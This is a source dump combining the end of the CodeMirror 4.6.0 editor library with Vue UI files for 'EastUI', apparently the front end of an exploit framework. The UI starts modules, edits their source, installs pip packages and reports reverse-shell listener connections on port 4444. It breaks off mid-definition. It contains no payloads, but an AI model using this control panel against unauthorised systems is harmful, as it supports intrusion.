var args = Array.prototype.slice.call(arguments, 2);
for (var i = 0; i < arr.length; ++i) arr[i].apply(null, args);
};
var orphanDelayedCallbacks = null;
// Often, we want to signal events at a point where we are in the
// middle of some work, but don't want the handler to start calling
// other methods on the editor, which might be in an inconsistent
// state or simply not expect any other events to happen.
// signalLater looks whether there are any handlers, and schedules
// them to be executed when the last operation ends, or, if no
// operation is active, when a timeout fires.
function signalLater(emitter, type /*, values...*/) {
var arr = emitter._handlers && emitter._handlers[type];
if (!arr) return;
var args = Array.prototype.slice.call(arguments, 2), list;
if (operationGroup) {
list = operationGroup.delayedCallbacks;
} else if (orphanDelayedCallbacks) {
list = orphanDelayedCallbacks;
} else {
list = orphanDelayedCallbacks = [];
setTimeout(fireOrphanDelayed, 0);
}
function bnd(f) {return function(){f.apply(null, args);};};
for (var i = 0; i < arr.length; ++i)
list.push(bnd(arr[i]));
}
function fireOrphanDelayed() {
var delayed = orphanDelayedCallbacks;
orphanDelayedCallbacks = null;
for (var i = 0; i < delayed.length; ++i) delayed[i]();
}
// The DOM events that CodeMirror handles can be overridden by
// registering a (non-DOM) handler on the editor for the event name,
// and preventDefault-ing the event in that handler.
function signalDOMEvent(cm, e, override) {
signal(cm, override || e.type, cm, e);
return e_defaultPrevented(e) || e.codemirrorIgnore;
}
function signalCursorActivity(cm) {
var arr = cm._handlers && cm._handlers.cursorActivity;
if (!arr) return;
var set = cm.curOp.cursorActivityHandlers || (cm.curOp.cursorActivityHandlers = []);
for (var i = 0; i < arr.length; ++i) if (indexOf(set, arr[i]) == -1)
set.push(arr[i]);
}
function hasHandler(emitter, type) {
var arr = emitter._handlers && emitter._handlers[type];
return arr && arr.length > 0;
}
// Add on and off methods to a constructor's prototype, to make
// registering events on such objects more convenient.
function eventMixin(ctor) {
ctor.prototype.on = function(type, f) {on(this, type, f);};
ctor.prototype.off = function(type, f) {off(this, type, f);};
}
// MISC UTILITIES
// Number of pixels added to scroller and sizer to hide scrollbar
var scrollerCutOff = 30;
// Returned or thrown by various protocols to signal 'I'm not
// handling this'.
var Pass = CodeMirror.Pass = {toString: function(){return "CodeMirror.Pass";}};
// Reused option objects for setSelection & friends
var sel_dontScroll = {scroll: false}, sel_mouse = {origin: "*mouse"}, sel_move = {origin: "+move"};
function Delayed() {this.id = null;}
Delayed.prototype.set = function(ms, f) {
clearTimeout(this.id);
this.id = setTimeout(f, ms);
};
// Counts the column offset in a string, taking tabs into account.
// Used mostly to find indentation.
var countColumn = CodeMirror.countColumn = function(string, end, tabSize, startIndex, startValue) {
if (end == null) {
end = string.search(/[^\s\u00a0]/);
if (end == -1) end = string.length;
}
for (var i = startIndex || 0, n = startValue || 0;;) {
var nextTab = string.indexOf("\t", i);
if (nextTab < 0 || nextTab >= end)
return n + (end - i);
n += nextTab - i;
n += tabSize - (n % tabSize);
i = nextTab + 1;
}
};
// The inverse of countColumn -- find the offset that corresponds to
// a particular column.
function findColumn(string, goal, tabSize) {
for (var pos = 0, col = 0;;) {
var nextTab = string.indexOf("\t", pos);
if (nextTab == -1) nextTab = string.length;
var skipped = nextTab - pos;
if (nextTab == string.length || col + skipped >= goal)
return pos + Math.min(skipped, goal - col);
col += nextTab - pos;
col += tabSize - (col % tabSize);
pos = nextTab + 1;
if (col >= goal) return pos;
}
}
var spaceStrs = [""];
function spaceStr(n) {
while (spaceStrs.length <= n)
spaceStrs.push(lst(spaceStrs) + " ");
return spaceStrs[n];
}
function lst(arr) { return arr[arr.length-1]; }
var selectInput = function(node) { node.select(); };
if (ios) // Mobile Safari apparently has a bug where select() is broken.
selectInput = function(node) { node.selectionStart = 0; node.selectionEnd = node.value.length; };
else if (ie) // Suppress mysterious IE10 errors
selectInput = function(node) { try { node.select(); } catch(_e) {} };
function indexOf(array, elt) {
for (var i = 0; i < array.length; ++i)
if (array[i] == elt) return i;
return -1;
}
if ([].indexOf) indexOf = function(array, elt) { return array.indexOf(elt); };
function map(array, f) {
var out = [];
for (var i = 0; i < array.length; i++) out[i] = f(array[i], i);
return out;
}
if ([].map) map = function(array, f) { return array.map(f); };
function createObj(base, props) {
var inst;
if (Object.create) {
inst = Object.create(base);
} else {
var ctor = function() {};
ctor.prototype = base;
inst = new ctor();
}
if (props) copyObj(props, inst);
return inst;
};
function copyObj(obj, target, overwrite) {
if (!target) target = {};
for (var prop in obj)
if (obj.hasOwnProperty(prop) && (overwrite !== false || !target.hasOwnProperty(prop)))
target[prop] = obj[prop];
return target;
}
function bind(f) {
var args = Array.prototype.slice.call(arguments, 1);
return function(){return f.apply(null, args);};
}
var nonASCIISingleCaseWordChar = /[\u00df\u0590-\u05f4\u0600-\u06ff\u3040-\u309f\u30a0-\u30ff\u3400-\u4db5\u4e00-\u9fcc\uac00-\ud7af]/;
var isWordCharBasic = CodeMirror.isWordChar = function(ch) {
return /\w/.test(ch) || ch > "\x80" &&
(ch.toUpperCase() != ch.toLowerCase() || nonASCIISingleCaseWordChar.test(ch));
};
function isWordChar(ch, helper) {
if (!helper) return isWordCharBasic(ch);
if (helper.source.indexOf("\\w") > -1 && isWordCharBasic(ch)) return true;
return helper.test(ch);
}
function isEmpty(obj) {
for (var n in obj) if (obj.hasOwnProperty(n) && obj[n]) return false;
return true;
}
// Extending unicode characters. A series of a non-extending char +
// any number of extending chars is treated as a single unit as far
// as editing and measuring is concerned. This is not fully correct,
// since some scripts/fonts/browsers also treat other configurations
// of code points as a group.
var extendingChars = /[\u0300-\u036f\u0483-\u0489\u0591-\u05bd\u05bf\u05c1\u05c2\u05c4\u05c5\u05c7\u0610-\u061a\u064b-\u065e\u0670\u06d6-\u06dc\u06de-\u06e4\u06e7\u06e8\u06ea-\u06ed\u0711\u0730-\u074a\u07a6-\u07b0\u07eb-\u07f3\u0816-\u0819\u081b-\u0823\u0825-\u0827\u0829-\u082d\u0900-\u0902\u093c\u0941-\u0948\u094d\u0951-\u0955\u0962\u0963\u0981\u09bc\u09be\u09c1-\u09c4\u09cd\u09d7\u09e2\u09e3\u0a01\u0a02\u0a3c\u0a41\u0a42\u0a47\u0a48\u0a4b-\u0a4d\u0a51\u0a70\u0a71\u0a75\u0a81\u0a82\u0abc\u0ac1-\u0ac5\u0ac7\u0ac8\u0acd\u0ae2\u0ae3\u0b01\u0b3c\u0b3e\u0b3f\u0b41-\u0b44\u0b4d\u0b56\u0b57\u0b62\u0b63\u0b82\u0bbe\u0bc0\u0bcd\u0bd7\u0c3e-\u0c40\u0c46-\u0c48\u0c4a-\u0c4d\u0c55\u0c56\u0c62\u0c63\u0cbc\u0cbf\u0cc2\u0cc6\u0ccc\u0ccd\u0cd5\u0cd6\u0ce2\u0ce3\u0d3e\u0d41-\u0d44\u0d4d\u0d57\u0d62\u0d63\u0dca\u0dcf\u0dd2-\u0dd4\u0dd6\u0ddf\u0e31\u0e34-\u0e3a\u0e47-\u0e4e\u0eb1\u0eb4-\u0eb9\u0ebb\u0ebc\u0ec8-\u0ecd\u0f18\u0f19\u0f35\u0f37\u0f39\u0f71-\u0f7e\u0f80-\u0f84\u0f86\u0f87\u0f90-\u0f97\u0f99-\u0fbc\u0fc6\u102d-\u1030\u1032-\u1037\u1039\u103a\u103d\u103e\u1058\u1059\u105e-\u1060\u1071-\u1074\u1082\u1085\u1086\u108d\u109d\u135f\u1712-\u1714\u1732-\u1734\u1752\u1753\u1772\u1773\u17b7-\u17bd\u17c6\u17c9-\u17d3\u17dd\u180b-\u180d\u18a9\u1920-\u1922\u1927\u1928\u1932\u1939-\u193b\u1a17\u1a18\u1a56\u1a58-\u1a5e\u1a60\u1a62\u1a65-\u1a6c\u1a73-\u1a7c\u1a7f\u1b00-\u1b03\u1b34\u1b36-\u1b3a\u1b3c\u1b42\u1b6b-\u1b73\u1b80\u1b81\u1ba2-\u1ba5\u1ba8\u1ba9\u1c2c-\u1c33\u1c36\u1c37\u1cd0-\u1cd2\u1cd4-\u1ce0\u1ce2-\u1ce8\u1ced\u1dc0-\u1de6\u1dfd-\u1dff\u200c\u200d\u20d0-\u20f0\u2cef-\u2cf1\u2de0-\u2dff\u302a-\u302f\u3099\u309a\ua66f-\ua672\ua67c\ua67d\ua6f0\ua6f1\ua802\ua806\ua80b\ua825\ua826\ua8c4\ua8e0-\ua8f1\ua926-\ua92d\ua947-\ua951\ua980-\ua982\ua9b3\ua9b6-\ua9b9\ua9bc\uaa29-\uaa2e\uaa31\uaa32\uaa35\uaa36\uaa43\uaa4c\uaab0\uaab2-\uaab4\uaab7\uaab8\uaabe\uaabf\uaac1\uabe5\uabe8\uabed\udc00-\udfff\ufb1e\ufe00-\ufe0f\ufe20-\ufe26\uff9e\uff9f]/;
function isExtendingChar(ch) { return ch.charCodeAt(0) >= 768 && extendingChars.test(ch); }
// DOM UTILITIES
function elt(tag, content, className, style) {
var e = document.createElement(tag);
if (className) e.className = className;
if (style) e.style.cssText = style;
if (typeof content == "string") e.appendChild(document.createTextNode(content));
else if (content) for (var i = 0; i < content.length; ++i) e.appendChild(content[i]);
return e;
}
var range;
if (document.createRange) range = function(node, start, end) {
var r = document.createRange();
r.setEnd(node, end);
r.setStart(node, start);
return r;
};
else range = function(node, start, end) {
var r = document.body.createTextRange();
r.moveToElementText(node.parentNode);
r.collapse(true);
r.moveEnd("character", end);
r.moveStart("character", start);
return r;
};
function removeChildren(e) {
for (var count = e.childNodes.length; count > 0; --count)
e.removeChild(e.firstChild);
return e;
}
function removeChildrenAndAdd(parent, e) {
return removeChildren(parent).appendChild(e);
}
function contains(parent, child) {
if (parent.contains)
return parent.contains(child);
while (child = child.parentNode)
if (child == parent) return true;
}
function activeElt() { return document.activeElement; }
// Older versions of IE throws unspecified error when touching
// document.activeElement in some cases (during loading, in iframe)
if (ie && ie_version < 11) activeElt = function() {
try { return document.activeElement; }
catch(e) { return document.body; }
};
function classTest(cls) { return new RegExp("\\b" + cls + "\\b\\s*"); }
function rmClass(node, cls) {
var test = classTest(cls);
if (test.test(node.className)) node.className = node.className.replace(test, "");
}
function addClass(node, cls) {
if (!classTest(cls).test(node.className)) node.className += " " + cls;
}
function joinClasses(a, b) {
var as = a.split(" ");
for (var i = 0; i < as.length; i++)
if (as[i] && !classTest(as[i]).test(b)) b += " " + as[i];
return b;
}
// WINDOW-WIDE EVENTS
// These must be handled carefully, because naively registering a
// handler for each editor will cause the editors to never be
// garbage collected.
function forEachCodeMirror(f) {
if (!document.body.getElementsByClassName) return;
var byClass = document.body.getElementsByClassName("CodeMirror");
for (var i = 0; i < byClass.length; i++) {
var cm = byClass[i].CodeMirror;
if (cm) f(cm);
}
}
var globalsRegistered = false;
function ensureGlobalHandlers() {
if (globalsRegistered) return;
registerGlobalHandlers();
globalsRegistered = true;
}
function registerGlobalHandlers() {
// When the window resizes, we need to refresh active editors.
var resizeTimer;
on(window, "resize", function() {
if (resizeTimer == null) resizeTimer = setTimeout(function() {
resizeTimer = null;
knownScrollbarWidth = null;
forEachCodeMirror(onResize);
}, 100);
});
// When the window loses focus, we want to show the editor as blurred
on(window, "blur", function() {
forEachCodeMirror(onBlur);
});
}
// FEATURE DETECTION
// Detect drag-and-drop
var dragAndDrop = function() {
// There is *some* kind of drag-and-drop support in IE6-8, but I
// couldn't get it to work yet.
if (ie && ie_version < 9) return false;
var div = elt('div');
return "draggable" in div || "dragDrop" in div;
}();
var knownScrollbarWidth;
function scrollbarWidth(measure) {
if (knownScrollbarWidth != null) return knownScrollbarWidth;
var test = elt("div", null, null, "width: 50px; height: 50px; overflow-x: scroll");
removeChildrenAndAdd(measure, test);
if (test.offsetWidth)
knownScrollbarWidth = test.offsetHeight - test.clientHeight;
return knownScrollbarWidth || 0;
}
var zwspSupported;
function zeroWidthElement(measure) {
if (zwspSupported == null) {
var test = elt("span", "\u200b");
removeChildrenAndAdd(measure, elt("span", [test, document.createTextNode("x")]));
if (measure.firstChild.offsetHeight != 0)
zwspSupported = test.offsetWidth <= 1 && test.offsetHeight > 2 && !(ie && ie_version < 8);
}
if (zwspSupported) return elt("span", "\u200b");
else return elt("span", "\u00a0", null, "display: inline-block; width: 1px; margin-right: -1px");
}
// Feature-detect IE's crummy client rect reporting for bidi text
var badBidiRects;
function hasBadBidiRects(measure) {
if (badBidiRects != null) return badBidiRects;
var txt = removeChildrenAndAdd(measure, document.createTextNode("A\u062eA"));
var r0 = range(txt, 0, 1).getBoundingClientRect();
if (!r0 || r0.left == r0.right) return false; // Safari returns null in some cases (#2780)
var r1 = range(txt, 1, 2).getBoundingClientRect();
return badBidiRects = (r1.right - r0.right < 3);
}
// See if "".split is the broken IE version, if so, provide an
// alternative way to split lines.
var splitLines = CodeMirror.splitLines = "\n\nb".split(/\n/).length != 3 ? function(string) {
var pos = 0, result = [], l = string.length;
while (pos <= l) {
var nl = string.indexOf("\n", pos);
if (nl == -1) nl = string.length;
var line = string.slice(pos, string.charAt(nl - 1) == "\r" ? nl - 1 : nl);
var rt = line.indexOf("\r");
if (rt != -1) {
result.push(line.slice(0, rt));
pos += rt + 1;
} else {
result.push(line);
pos = nl + 1;
}
}
return result;
} : function(string){return string.split(/\r\n?|\n/);};
var hasSelection = window.getSelection ? function(te) {
try { return te.selectionStart != te.selectionEnd; }
catch(e) { return false; }
} : function(te) {
try {var range = te.ownerDocument.selection.createRange();}
catch(e) {}
if (!range || range.parentElement() != te) return false;
return range.compareEndPoints("StartToEnd", range) != 0;
};
var hasCopyEvent = (function() {
var e = elt("div");
if ("oncopy" in e) return true;
e.setAttribute("oncopy", "return;");
return typeof e.oncopy == "function";
})();
var badZoomedRects = null;
function hasBadZoomedRects(measure) {
if (badZoomedRects != null) return badZoomedRects;
var node = removeChildrenAndAdd(measure, elt("span", "x"));
var normal = node.getBoundingClientRect();
var fromRange = range(node, 0, 1).getBoundingClientRect();
return badZoomedRects = Math.abs(normal.left - fromRange.left) > 1;
}
// KEY NAMES
var keyNames = {3: "Enter", 8: "Backspace", 9: "Tab", 13: "Enter", 16: "Shift", 17: "Ctrl", 18: "Alt",
19: "Pause", 20: "CapsLock", 27: "Esc", 32: "Space", 33: "PageUp", 34: "PageDown", 35: "End",
36: "Home", 37: "Left", 38: "Up", 39: "Right", 40: "Down", 44: "PrintScrn", 45: "Insert",
46: "Delete", 59: ";", 61: "=", 91: "Mod", 92: "Mod", 93: "Mod", 107: "=", 109: "-", 127: "Delete",
173: "-", 186: ";", 187: "=", 188: ",", 189: "-", 190: ".", 191: "/", 192: "`", 219: "[", 220: "\\",
221: "]", 222: "'", 63232: "Up", 63233: "Down", 63234: "Left", 63235: "Right", 63272: "Delete",
63273: "Home", 63275: "End", 63276: "PageUp", 63277: "PageDown", 63302: "Insert"};
CodeMirror.keyNames = keyNames;
(function() {
// Number keys
for (var i = 0; i < 10; i++) keyNames[i + 48] = keyNames[i + 96] = String(i);
// Alphabetic keys
for (var i = 65; i <= 90; i++) keyNames[i] = String.fromCharCode(i);
// Function keys
for (var i = 1; i <= 12; i++) keyNames[i + 111] = keyNames[i + 63235] = "F" + i;
})();
// BIDI HELPERS
function iterateBidiSections(order, from, to, f) {
if (!order) return f(from, to, "ltr");
var found = false;
for (var i = 0; i < order.length; ++i) {
var part = order[i];
if (part.from < to && part.to > from || from == to && part.to == from) {
f(Math.max(part.from, from), Math.min(part.to, to), part.level == 1 ? "rtl" : "ltr");
found = true;
}
}
if (!found) f(from, to, "ltr");
}
function bidiLeft(part) { return part.level % 2 ? part.to : part.from; }
function bidiRight(part) { return part.level % 2 ? part.from : part.to; }
function lineLeft(line) { var order = getOrder(line); return order ? bidiLeft(order[0]) : 0; }
function lineRight(line) {
var order = getOrder(line);
if (!order) return line.text.length;
return bidiRight(lst(order));
}
function lineStart(cm, lineN) {
var line = getLine(cm.doc, lineN);
var visual = visualLine(line);
if (visual != line) lineN = lineNo(visual);
var order = getOrder(visual);
var ch = !order ? 0 : order[0].level % 2 ? lineRight(visual) : lineLeft(visual);
return Pos(lineN, ch);
}
function lineEnd(cm, lineN) {
var merged, line = getLine(cm.doc, lineN);
while (merged = collapsedSpanAtEnd(line)) {
line = merged.find(1, true).line;
lineN = null;
}
var order = getOrder(line);
var ch = !order ? line.text.length : order[0].level % 2 ? lineLeft(line) : lineRight(line);
return Pos(lineN == null ? lineNo(line) : lineN, ch);
}
function lineStartSmart(cm, pos) {
var start = lineStart(cm, pos.line);
var line = getLine(cm.doc, start.line);
var order = getOrder(line);
if (!order || order[0].level == 0) {
var firstNonWS = Math.max(0, line.text.search(/\S/));
var inWS = pos.line == start.line && pos.ch <= firstNonWS && pos.ch;
return Pos(start.line, inWS ? 0 : firstNonWS);
}
return start;
}
function compareBidiLevel(order, a, b) {
var linedir = order[0].level;
if (a == linedir) return true;
if (b == linedir) return false;
return a < b;
}
var bidiOther;
function getBidiPartAt(order, pos) {
bidiOther = null;
for (var i = 0, found; i < order.length; ++i) {
var cur = order[i];
if (cur.from < pos && cur.to > pos) return i;
if ((cur.from == pos || cur.to == pos)) {
if (found == null) {
found = i;
} else if (compareBidiLevel(order, cur.level, order[found].level)) {
if (cur.from != cur.to) bidiOther = found;
return i;
} else {
if (cur.from != cur.to) bidiOther = i;
return found;
}
}
}
return found;
}
function moveInLine(line, pos, dir, byUnit) {
if (!byUnit) return pos + dir;
do pos += dir;
while (pos > 0 && isExtendingChar(line.text.charAt(pos)));
return pos;
}
// This is needed in order to move 'visually' through bi-directional
// text -- i.e., pressing left should make the cursor go left, even
// when in RTL text. The tricky part is the 'jumps', where RTL and
// LTR text touch each other. This often requires the cursor offset
// to move more than one unit, in order to visually move one unit.
function moveVisually(line, start, dir, byUnit) {
var bidi = getOrder(line);
if (!bidi) return moveLogically(line, start, dir, byUnit);
var pos = getBidiPartAt(bidi, start), part = bidi[pos];
var target = moveInLine(line, start, part.level % 2 ? -dir : dir, byUnit);
for (;;) {
if (target > part.from && target < part.to) return target;
if (target == part.from || target == part.to) {
if (getBidiPartAt(bidi, target) == pos) return target;
part = bidi[pos += dir];
return (dir > 0) == part.level % 2 ? part.to : part.from;
} else {
part = bidi[pos += dir];
if (!part) return null;
if ((dir > 0) == part.level % 2)
target = moveInLine(line, part.to, -1, byUnit);
else
target = moveInLine(line, part.from, 1, byUnit);
}
}
}
function moveLogically(line, start, dir, byUnit) {
var target = start + dir;
if (byUnit) while (target > 0 && isExtendingChar(line.text.charAt(target))) target += dir;
return target < 0 || target > line.text.length ? null : target;
}
// Bidirectional ordering algorithm
// See http://unicode.org/reports/tr9/tr9-13.html for the algorithm
// that this (partially) implements.
// One-char codes used for character types:
// L (L): Left-to-Right
// R (R): Right-to-Left
// r (AL): Right-to-Left Arabic
// 1 (EN): European Number
// + (ES): European Number Separator
// % (ET): European Number Terminator
// n (AN): Arabic Number
// , (CS): Common Number Separator
// m (NSM): Non-Spacing Mark
// b (BN): Boundary Neutral
// s (B): Paragraph Separator
// t (S): Segment Separator
// w (WS): Whitespace
// N (ON): Other Neutrals
// Returns null if characters are ordered as they appear
// (left-to-right), or an array of sections ({from, to, level}
// objects) in the order in which they occur visually.
var bidiOrdering = (function() {
// Character types for codepoints 0 to 0xff
var lowTypes = "bbbbbbbbbtstwsbbbbbbbbbbbbbbssstwNN%%%NNNNNN,N,N1111111111NNNNNNNLLLLLLLLLLLLLLLLLLLLLLLLLLNNNNNNLLLLLLLLLLLLLLLLLLLLLLLLLLNNNNbbbbbbsbbbbbbbbbbbbbbbbbbbbbbbbbb,N%%%%NNNNLNNNNN%%11NLNNN1LNNNNNLLLLLLLLLLLLLLLLLLLLLLLNLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLN";
// Character types for codepoints 0x600 to 0x6ff
var arabicTypes = "rrrrrrrrrrrr,rNNmmmmmmrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrmmmmmmmmmmmmmmrrrrrrrnnnnnnnnnn%nnrrrmrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrmmmmmmmmmmmmmmmmmmmNmmmm";
function charType(code) {
if (code <= 0xf7) return lowTypes.charAt(code);
else if (0x590 <= code && code <= 0x5f4) return "R";
else if (0x600 <= code && code <= 0x6ed) return arabicTypes.charAt(code - 0x600);
else if (0x6ee <= code && code <= 0x8ac) return "r";
else if (0x2000 <= code && code <= 0x200b) return "w";
else if (code == 0x200c) return "b";
else return "L";
}
var bidiRE = /[\u0590-\u05f4\u0600-\u06ff\u0700-\u08ac]/;
var isNeutral = /[stwN]/, isStrong = /[LRr]/, countsAsLeft = /[Lb1n]/, countsAsNum = /[1n]/;
// Browsers seem to always treat the boundaries of block elements as being L.
var outerType = "L";
function BidiSpan(level, from, to) {
this.level = level;
this.from = from; this.to = to;
}
return function(str) {
if (!bidiRE.test(str)) return false;
var len = str.length, types = [];
for (var i = 0, type; i < len; ++i)
types.push(type = charType(str.charCodeAt(i)));
// W1. Examine each non-spacing mark (NSM) in the level run, and
// change the type of the NSM to the type of the previous
// character. If the NSM is at the start of the level run, it will
// get the type of sor.
for (var i = 0, prev = outerType; i < len; ++i) {
var type = types[i];
if (type == "m") types[i] = prev;
else prev = type;
}
// W2. Search backwards from each instance of a European number
// until the first strong type (R, L, AL, or sor) is found. If an
// AL is found, change the type of the European number to Arabic
// number.
// W3. Change all ALs to R.
for (var i = 0, cur = outerType; i < len; ++i) {
var type = types[i];
if (type == "1" && cur == "r") types[i] = "n";
else if (isStrong.test(type)) { cur = type; if (type == "r") types[i] = "R"; }
}
// W4. A single European separator between two European numbers
// changes to a European number. A single common separator between
// two numbers of the same type changes to that type.
for (var i = 1, prev = types[0]; i < len - 1; ++i) {
var type = types[i];
if (type == "+" && prev == "1" && types[i+1] == "1") types[i] = "1";
else if (type == "," && prev == types[i+1] &&
(prev == "1" || prev == "n")) types[i] = prev;
prev = type;
}
// W5. A sequence of European terminators adjacent to European
// numbers changes to all European numbers.
// W6. Otherwise, separators and terminators change to Other
// Neutral.
for (var i = 0; i < len; ++i) {
var type = types[i];
if (type == ",") types[i] = "N";
else if (type == "%") {
for (var end = i + 1; end < len && types[end] == "%"; ++end) {}
var replace = (i && types[i-1] == "!") || (end < len && types[end] == "1") ? "1" : "N";
for (var j = i; j < end; ++j) types[j] = replace;
i = end - 1;
}
}
// W7. Search backwards from each instance of a European number
// until the first strong type (R, L, or sor) is found. If an L is
// found, then change the type of the European number to L.
for (var i = 0, cur = outerType; i < len; ++i) {
var type = types[i];
if (cur == "L" && type == "1") types[i] = "L";
else if (isStrong.test(type)) cur = type;
}
// N1. A sequence of neutrals takes the direction of the
// surrounding strong text if the text on both sides has the same
// direction. European and Arabic numbers act as if they were R in
// terms of their influence on neutrals. Start-of-level-run (sor)
// and end-of-level-run (eor) are used at level run boundaries.
// N2. Any remaining neutrals take the embedding direction.
for (var i = 0; i < len; ++i) {
if (isNeutral.test(types[i])) {
for (var end = i + 1; end < len && isNeutral.test(types[end]); ++end) {}
var before = (i ? types[i-1] : outerType) == "L";
var after = (end < len ? types[end] : outerType) == "L";
var replace = before || after ? "L" : "R";
for (var j = i; j < end; ++j) types[j] = replace;
i = end - 1;
}
}
// Here we depart from the documented algorithm, in order to avoid
// building up an actual levels array. Since there are only three
// levels (0, 1, 2) in an implementation that doesn't take
// explicit embedding into account, we can build up the order on
// the fly, without following the level-based algorithm.
var order = [], m;
for (var i = 0; i < len;) {
if (countsAsLeft.test(types[i])) {
var start = i;
for (++i; i < len && countsAsLeft.test(types[i]); ++i) {}
order.push(new BidiSpan(0, start, i));
} else {
var pos = i, at = order.length;
for (++i; i < len && types[i] != "L"; ++i) {}
for (var j = pos; j < i;) {
if (countsAsNum.test(types[j])) {
if (pos < j) order.splice(at, 0, new BidiSpan(1, pos, j));
var nstart = j;
for (++j; j < i && countsAsNum.test(types[j]); ++j) {}
order.splice(at, 0, new BidiSpan(2, nstart, j));
pos = j;
} else ++j;
}
if (pos < i) order.splice(at, 0, new BidiSpan(1, pos, i));
}
}
if (order[0].level == 1 && (m = str.match(/^\s+/))) {
order[0].from = m[0].length;
order.unshift(new BidiSpan(0, 0, m[0].length));
}
if (lst(order).level == 1 && (m = str.match(/\s+$/))) {
lst(order).to -= m[0].length;
order.push(new BidiSpan(0, len - m[0].length, len));
}
if (order[0].level != lst(order).level)
order.push(new BidiSpan(order[0].level, len, len));
return order;
};
})();
// THE END
CodeMirror.version = "4.6.0";
return CodeMirror;
});
================================================
FILE: ui/js/components.js
================================================
var treeNodeTemplate = function(){/*
*/}.toString().slice(14,-3)
Vue.component('re-module-info', {
template: moduleInfo,
props: {
module: Object
},
computed: {
displayInline: function() {
return 'display: inline;'
},
links: function () {
var links = this.module.LINKS;
if (links && links.length) {
if (_.isString(links)) {
links = [links];
}
}
return _.filter(links, function(link) {
return link && link.length;
})
}
}
})
var serviceMessagesTemplate = function(){/*
{{messages.length}}
{{entry.message}}
*/}.toString().slice(14,-3);
Vue.component('re-service-messages', {
template: serviceMessagesTemplate,
props: {
messages: []
},
data: function() {
return {
show: false,
}
},
methods: {
getMessageLevel: function (index) {
var entry = this.messages[index];
if (entry.level == 4) {
return 'list-group-item list-group-item-danger';
} else if (entry.level == 3) {
return 'list-group-item list-group-item-warning';
} else if (entry.level == 2) {
return 'list-group-item list-group-item-info'
} else {
return ''
}
},
install: function(index) {
var entry = this.messages[index];
entry.installed = true;
var self = this;
guiCommandsHandler.installViaPip(entry.module_to_import, function(event) {
var args = event.args;
if (args.error) {
toastr.error(args.message);
entry.installed = false;
return;
}
self.messages = _.filter(self.messages, function(message) {
if (message.message_type == 1) {
return message.module_to_import != entry.module_to_import;
} else {
return true;
}
})
toastr.success('Module ' + entry.module_to_import + ' successfully installed');
if (!self.messages || !self.messages.length) {
self.show = false;
}
});
}
}
})
================================================
FILE: ui/js/guiCommands.js
================================================
var GuiCommandsHandler = function() {
};
GuiCommandsHandler.prototype = {
hello: function(callback) {
var data = {hello:{name: 'EastUI', type:'ui'}};
doSend(data, callback);
},
showOptions: function(module_name, callback) {
var data = {command: 'get_module_options', args: { module_name: module_name }};
doSend(data, callback);
},
getAllData: function(callback){
var data = {command: 'get_all_server_data', args: ''};
doSend(data, callback);
},
sendListenerCommand: function(module_name, message, callback){
var data = { command: 'gui_command_to_listener', args: { module_name: module_name, message: message }};
doSend(data, callback);
},
startModule: function(args, callback){
var data = { command: 'start_module', args: args };
doSend(data, callback);
},
killProcess: function(tabName){
var data = {command: 'kill_process', args: {module_name: tabName}};
doSend(data);
},
getSource: function(module_name, callback){
var data = {command: 'get_source', args: {'module_name': module_name}};
doSend(data, callback);
},
saveSource: function(module_name, code) {
var data = {command: 'save_source', args: {'module_name': module_name, 'message': code}};
doSend(data);
},
installViaPip: function(library_name, callback) {
var data = { command: 'install_via_pip', args: {'library_name': library_name}}
doSend(data, callback);
},
getModulesLog: function(callback) {
var data = {command: 'get_modules_log', args: {}}
doSend(data, callback);
},
};
guiCommandsHandler = new GuiCommandsHandler();
function genUUID4() {
return 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, function(c) {
var r = Math.random()*16|0, v = c == 'x' ? r : (r&0x3|0x8);
return v.toString(16);
});
}
function bindEvent(event_type, callback) {
$(document).unbind(event_type);
$(document).on(event_type, callback);
}
================================================
FILE: ui/js/main.js
================================================
toastr.options.timeOut = 1000;
$(document).ready(function() {
mainVue = new Vue({
el: '#mainVue',
data: commonData,
events: {
onTreeNodeSelected: function(data, module) {
this.selectedModule = module;
},
onTreeNodeClicked: function(module) {
this.runSelectedModule(module.NAME);
},
onTabClose: function(tab) {
// Kill process at server-side
guiCommandsHandler.killProcess(tab.title);
},
onSendCommand: function(command, tab) {
guiCommandsHandler.sendListenerCommand(tab.title, command);
var index = _.indexOf(this.tabsData, tab);
},
onImageClick: function(image) {
imagePopup.showImage(image);
},
onModuleEdit: function(module) {
this.editSelectedModule(module.NAME)
}
},
ready: function() {
bindEvent("on_module_message", this.onModuleMessage);
bindEvent("on_listener_message", this.onListenerMessage);
},
methods: {
addTab: function(data) {
this.tabs.push(data);
},
runSelectedModule: function(moduleName) {
guiCommandsHandler.showOptions(moduleName, function(evt) {
optionsDialog.showDialog(moduleName, evt.args);
});
},
editSelectedModule: function(moduleName) {
guiCommandsHandler.getSource(moduleName, function(evt) {
var args = evt.args;
var content = args.message;
editorDialog.showContent(moduleName, content);
});
},
onModuleMessage: function(e) {
var args = e.args;
var module = _.find(this.tabs, {title: args.module_name});
if(!module)
return
var index = _.indexOf(this.tabs, module);
if (args.message.type == 'image') {
args.message.message = 'data:image/jpg;base64,' + args.message.message;
}
module.content.push(args.message);
if (args.state != null) {
module.state = args.state;
showTabInfo(module);
}
if (index != -1) {
var selector = '.tab-content #tab_item_' + index + ' .logView';
Vue.nextTick(function () {
$(selector).scrollTop($(selector)[0].scrollHeight);
})
}
},
onListenerMessage: function(e) {
var args = e.args;
var listenerState = args.state;
var listenerMessage = args.message;
var module = _.find(this.tabs, {title: args.module_name});
if (!module)
return
var index = _.indexOf(this.tabs, module);
module.listenerMessages += '\n' + listenerMessage;
if (listenerState == 1 && module.listenerState != 1){
module.listenerState = listenerState;
toastr.success("Shell successfully connected to " + args.module_name);
showTabInfo(module);
}
if (listenerState == 2 && module.listenerState != 2){
module.listenerState = listenerState;
toastr.warning("Listener disconnected from " + args.module_name);
showTabInfo(module);
}
var selector = '.tab-content #tab_item_' + index + ' .pre-scrollable';
Vue.nextTick(function () {
$(selector).scrollTop($(selector)[0].scrollHeight);
})
}
}
})
optionsDialog = new Vue({
el: '#optionsDialog',
data: {
options: [],
show: false,
moduleName: {},
useListener: false,
useCustomPort: false,
customPort: 4444,
listenerType: 1
},
